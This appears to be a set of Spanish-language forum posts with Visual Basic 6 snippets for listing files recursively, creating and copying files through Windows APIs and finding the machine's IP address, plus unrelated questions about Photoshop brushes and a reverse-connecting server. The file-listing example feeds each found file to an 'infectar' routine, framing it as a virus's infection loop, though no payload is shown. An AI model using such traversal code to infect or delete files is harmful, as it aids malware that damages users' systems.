Mensajes

dim buf() as string
dim i as integer
buf = split("primeracadena trece casa adolescente", chr(32))
for i = 0 to ubound(buf)
msgbox buf(i)
next

Salu2.

[Declaramos un array en la cabezera del formulario:]

2 Moneda)
Muchas veces y por diversas razones que no vienen al tema, queremos listar todos los archivos de un directorio. Podemos utilizar el FSO, pero... ¿por que hacerlo si podemos hacerlo directamente desde el visual basic?

Declaramos un array en la cabezera del formulario:

Private direcs()    As String

En ese array se guardaran los archivos listados. Luego, la funcion:

Código [Seleccionar] Expandir


Function ListFiles(Path)
'On Error Resume Next
Dim x() As String
Dim a As Integer
Dim sf As String
Dim u As Integer
If Right(Path, 1) <> "\" Then Path = Path & "\"
ReDim x(a)
sf = Dir(Path, vbHidden + vbArchive + vbReadOnly + vbSystem + vbNormal + vbDirectory)
Do While Len(sf) <> 0
    If sf <> "." And sf <> ".." Then
        sf = Path & sf
        If GetAttr(sf) And vbDirectory Then
            x(a) = sf
            ReDim Preserve x(a + 1)
            a = a + 1
        Else
            u = UBound(direcs)
            ReDim Preserve direcs(u + 1)
            direcs(u) = sf
        End If
    End If
    sf = Dir()
Loop

For a = 0 To UBound(x)
If Len(x(a)) Then ListFiles x(a)
Next
End Function


Y para llamarla, se hace asi:

Código [Seleccionar] Expandir


        ReDim direcs(0) 'El array a 0
        Call ListFiles(path_del_directorio) 'listar los archivos del directorio

        For s = 0 To UBound(direcs) - 1 'Desde el primer archivo hasta el ultimo
            Call infectar(direcs(s)) 'Infectamos el archivo, lo borramos o lo que se nos de la gana.
        Next


El code se puede mejorar aun mas. Aclaro que no soy el dueño.

Salu2.

[Para crear un directorio:]

1 Moneda)

En vez de utilizar la consola de DOS (o de windows) puedes utilizar las apis (son mejores)

Para crear un directorio:

En la cabezera del formulario:

Código [Seleccionar] Expandir


Private Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As Long) As Long


Se usa asi:
    CreateDirectory "C:\temp", ByVal &H0


Para copiar un archivo:

Código [Seleccionar] Expandir


Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long


Se usa asi:
    CopyFile "C:\origen.txt", "C:\destino.txt", 0

Para borrar un directorio:

    RmDir "C:\Temp\"


Los codigos fuentes no son mios.
Salu2.

es todo este rollo de codigo:

Código [Seleccionar] Expandir


Private Const WS_VERSION_REQD = &H101
   Private Const WS_VERSION_MAJOR = WS_VERSION_REQD \ &H100 And &HFF&
   Private Const WS_VERSION_MINOR = WS_VERSION_REQD And &HFF&
   Private Const MIN_SOCKETS_REQD = 1
   Private Const SOCKET_ERROR = -1
   Private Const WSADescription_Len = 256
   Private Const WSASYS_Status_Len = 128

   Private Type HOSTENT
       hName As Long
       hAliases As Long
       hAddrType As Integer
       hLength As Integer
       hAddrList As Long
   End Type

   Private Type WSADATA
       wversion As Integer
       wHighVersion As Integer
       szDescription(0 To WSADescription_Len) As Byte
       szSystemStatus(0 To WSASYS_Status_Len) As Byte
       iMaxSockets As Integer
       iMaxUdpDg As Integer
       lpszVendorInfo As Long
   End Type

   Private Declare Function WSAGetLastError Lib "WSOCK32.DLL" () As Long
   Private Declare Function WSAStartup Lib "WSOCK32.DLL" (ByVal _
   wVersionRequired As Integer, lpWSAData As WSADATA) As Long
   Private Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long

   Private Declare Function gethostname Lib "WSOCK32.DLL" (ByVal hostname$, ByVal HostLen As Long) As Long
   Private Declare Function gethostbyname Lib "WSOCK32.DLL" (ByVal _
   hostname$) As Long
   Private Declare Sub RtlMoveMemory Lib "kernel32" (hpvDest As Any, ByVal hpvSource&, ByVal cbCopy&)
Const MAX_IP = 5   'To make a buffer... i dont think you have more than 5 ip on your pc..
Private Type IPINFO
     dwAddr As Long   ' IP address
    dwIndex As Long ' interface index
    dwMask As Long ' subnet mask
    dwBCastAddr As Long ' broadcast address
    dwReasmSize  As Long ' assembly size
    unused1 As Integer ' not currently used
    unused2 As Integer '; not currently used
End Type
Private Type MIB_IPADDRTABLE
    dEntrys As Long   'number of entries in the table
    mIPInfo(MAX_IP) As IPINFO  'array of IP address entries
End Type
Private Type IP_Array
    mBuffer As MIB_IPADDRTABLE
    BufferLen As Long
End Type
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetIpAddrTable Lib "IPHlpApi" (pIPAdrTable As Byte, pdwSize As Long, ByVal Sort As Long) As Long
'converts a Long to a string
Public Function ConvertAddressToString(longAddr As Long) As String
    Dim myByte(3) As Byte
    Dim Cnt As Long
    CopyMemory myByte(0), longAddr, 4
    For Cnt = 0 To 3
        ConvertAddressToString = ConvertAddressToString + CStr(myByte(Cnt)) + "."
    Next Cnt
    ConvertAddressToString = Left$(ConvertAddressToString, Len(ConvertAddressToString) - 1)
End Function

Public Function GetWanIP() As String
Dim Ret As Long, Tel As Long
Dim bBytes() As Byte
Dim TempList() As String
Dim TempIP As String
Dim Tempi As Long
Dim Listing As MIB_IPADDRTABLE
Dim L3 As String


On Error GoTo END1
    GetIpAddrTable ByVal 0&, Ret, True


    If Ret <= 0 Then Exit Function
    ReDim bBytes(0 To Ret - 1) As Byte
    ReDim TempList(0 To Ret - 1) As String

    'retrieve the data
    GetIpAddrTable bBytes(0), Ret, False

    'Get the first 4 bytes to get the entry's.. ip installed
    CopyMemory Listing.dEntrys, bBytes(0), 4

    For Tel = 0 To Listing.dEntrys - 1
        'Copy whole structure to Listing..
        CopyMemory Listing.mIPInfo(Tel), bBytes(4 + (Tel * Len(Listing.mIPInfo(0)))), Len(Listing.mIPInfo(Tel))
        TempList(Tel) = ConvertAddressToString(Listing.mIPInfo(Tel).dwAddr)
    Next Tel
    'Sort Out The IP For WAN
        TempIP = TempList(0)
        For Tempi = 0 To Listing.dEntrys - 1
            L3 = Left(TempList(Tempi), 3)
            If L3 <> "169" And L3 <> "127" And L3 <> "192" Then
                TempIP = TempList(Tempi)
            End If
        Next Tempi
        GetWanIP = TempIP 'Return The TempIP


Exit Function
END1:
GetWanIP = ""
End Function


luego, llamas a la funcion con GetWanIP()
pruebalo, y si te gusta me lo pagas, que ando necesitando dinero para el concierto de Rammstein en argentina!!!! aunque sea unos dolares tirame 

Salu2

es justamente esa la info que encontre y no entendi

Quisiera pedirles a los capos de la programacion, si es que saben como crear un menu contextual al estilo Winzip, como tengo que crear la DLL, y demas cosas. Notese que digo lo del ShellEx, y no el clasico Shell-Command.
he bucado en inet, pero la poca info que he encontrado no la entiendo.
muchas gracias.

[now()]

emmm, crackerl, eso no tiene sentido. si pones las fechas en formato de Texto despues se hace dificil hacer las consultas y todo lo demas. Como dije antes, lo que te conviene hacer es:
en vez de usar las apis y concatenar la fecha y la hora, pasale al access directamente la funcion now()

fijate como queda:  Msgbox Now

devuelve exactamente como quieres la fecha. y hasta puedes darle formato, con la funcion FormatDateTime.

si tenes alguna duda avisame.

salu2 y espero haberte ayudado.

hola, me gustaria que alguien me dijera como se usan los brushes. Resulta que tengo el photoshop en Español, y brushes significa Pincel, pero no entiendo como hacen para hacer esos efectos. Yo me he bajado muchos brushes, pero no entiendo como hacer para que estos queden en el fondo, asi "desordenado". bue, no me se explicar muy bien pero espero que alguien me haya entendido.

salu2

1) El server se conecta al cliente. El server sabe la IP del cliente. ¿Como puedo hacer para detectar la IP del server (desde el cliente obviamente), a partir de la conexion establecida?